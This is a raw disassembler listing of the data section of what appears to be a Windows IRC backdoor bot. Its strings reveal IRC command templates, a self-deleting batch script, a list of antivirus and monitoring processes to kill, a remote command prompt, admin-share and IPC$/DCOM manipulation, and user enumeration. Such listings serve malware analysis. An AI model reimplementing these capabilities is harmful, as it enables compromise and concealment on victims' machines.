dword_438788 dd 62h ; DATA XREF: ___:00437C50o
; ___:00437F44o ...
dword_43878C dd 78h ; DATA XREF: ___:00437C44o
; ___:00437F9Co
dword_438790 dd 7Ah ; DATA XREF: ___:00437C40o
; ___:00437FA4o ...
dword_438794 dd 6Ch ; DATA XREF: ___:00437C3Co
dword_438798 dd 68h ; DATA XREF: ___:00437C30o
; ___:00437F5Co
dword_43879C dd 67h ; DATA XREF: ___:00437C2Co
; ___:00437F58o ...
dword_4387A0 dd 66h ; DATA XREF: ___:00437C28o
; ___:00437F54o
dword_4387A4 dd 79h ; DATA XREF: ___:00437FA0o
dword_4387A8 dd 77h ; DATA XREF: ___:00437BFCo
; ___:00437F98o
dword_4387AC dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o
dword_4387B8 dd 323334h ; DATA XREF: sub_4177CF+79o
dword_4387BC dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo
; sub_417ADD+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o
align 4
unk_438934 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_438964 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_43898C dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E1+5Co
dd 65726165h, 64h
off_4389A8 dd offset aAdd ; DATA XREF: sub_4186C1+60r
; sub_418A98+51r ...
; "Add"
off_4389AC dd offset aAdded ; DATA XREF: sub_4186C1+2Dr
; sub_418A98+83r ...
; "Added"
dword_4389B0 dd 0 ; DATA XREF: sub_4186C1+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 438A1Ch, 438A14h, 2, 438A08h, 4389FCh, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389DCo
aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D8o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:004389D0o
aStart_0 db 'Start',0 ; DATA XREF: ___:004389CCo
align 4
aListed db 'Listed',0 ; DATA XREF: ___:004389C4o
align 4
aList_1 db 'List',0 ; DATA XREF: ___:004389C0o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B8o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389B4o
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_4389ACo
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_4389A8o
unk_438A70 db 2Dh ; - ; DATA XREF: sub_4186C1+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_438A94 db 2Dh ; - ; DATA XREF: sub_4186C1+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_438AC0 db 2Dh ; - ; DATA XREF: sub_4186C1+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DD:loc_4188E7o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DD:loc_4188E0o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DD:loc_4188D9o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DD:loc_4188D2o
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DD:loc_4188C4o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DD:loc_4188BDo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DD:loc_4188B6o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DD:loc_41888Bo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DD:loc_418884o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DD:loc_41887Do
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DD:loc_418876o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DD:loc_41884Bo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DD:loc_418823o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o
aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o
aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895B+25o
align 4
unk_439014 db 2Dh ; - ; DATA XREF: sub_418A98+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439038 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A98+8Ao
dd 73252720h, 27h
unk_439054 db 2Dh ; - ; DATA XREF: sub_418A98+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o
unk_4390A0 db 2Dh ; - ; DATA XREF: sub_418C8E+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8E+26o
align 10h
unk_439100 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439128 db 2Dh ; - ; DATA XREF: sub_418DAF+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439158 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439178 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
align 4
unk_439334 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo
align 4
unk_439368 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41945F:loc_419543o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41945F+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41945F:loc_4194AEo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
align 10h
dword_439670 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419593+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43969C db 2Dh ; - ; DATA XREF: sub_419593+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_4396C8 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_4397D0
dd offset dword_4397C4
dd offset dword_4397B8
dd offset dword_4397AC
dd offset dword_4397A0
dd offset dword_439794
dd offset dword_439784
dd offset dword_439778
dd offset dword_43976C
dd offset dword_439760
dd offset dword_439754
dd offset dword_439744
dd offset dword_439738
dd offset dword_439728
dword_439728 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo
; ___:00439724o
dword_439738 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439720o
dword_439744 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043971Co
dword_439754 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439718o
dword_439760 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439714o
dword_43976C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439710o
dword_439778 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043970Co
dword_439784 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439708o
dword_439794 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439704o
dword_4397A0 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439700o
dword_4397AC dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396FCo
dword_4397B8 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F8o
dword_4397C4 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396F4o
dword_4397D0 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396F0o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396ECo
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E8o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396E4o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396E0o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396DCo
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D8o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396D4o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396D0o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396CCo
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C8o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o
align 10h
unk_439880 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_4398A4 db 2Dh ; - ; DATA XREF: sub_4198EB+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_4398C8 db 2Dh ; - ; DATA XREF: sub_4198EB+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F8 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439928 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_439950 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_439980 db 2Dh ; - ; DATA XREF: sub_419C64+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_4399B4 db 2Dh ; - ; DATA XREF: sub_419C64+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_4399D8 dd offset dword_439A10 ; DATA XREF: sub_419E79+1B3o
; sub_41A19D+17Ao
align 10h
dd offset dword_439A08
align 8
off_4399E8 dd offset dword_439A04 ; DATA XREF: sub_41A19D+1E3o
dd offset dword_439A00
dd offset dword_4399FC
dd offset dword_4399F8
dword_4399F8 dd 5C3A44h ; DATA XREF: sub_419E79+217o
; ___:004399F4o
dword_4399FC dd 2444h ; DATA XREF: ___:004399F0o
dword_439A00 dd 5C3A43h ; DATA XREF: ___:004399ECo
dword_439A04 dd 2443h ; DATA XREF: ___:off_4399E8o
dword_439A08 dd 494D4441h, 244Eh ; DATA XREF: ___:004399E0o
dword_439A10 dd 24435049h, 0 ; DATA XREF: ___:off_4399D8o
dword_439A18 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o
; sub_41A19D+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_439A48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_439A70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_439A9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_439AC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_439AEC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_439B10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo
; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_439B40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_439B7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_439BB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
; sub_41A19D+EDo
align 10h
dword_439C00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o
; sub_41A19D+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_439C30 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_419E79:loc_419EE6o
dd 62617369h, 2E64656Ch, 0
dword_439C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o
; sub_41A19D+54o
align 10h
dword_439C80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o
dword_439CB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co
; sub_41A19D:loc_41A40Do
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o
; sub_41A19D+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_439CF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_439D34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_439D6C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_439DAC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A19D:loc_41A20Ao
dd 6C62616Eh, 2E6465h
dword_439DC8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_439E20 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A6AE+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o
dword_43A038 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AA42+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43A114 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
align 4
aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo
a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo
align 4
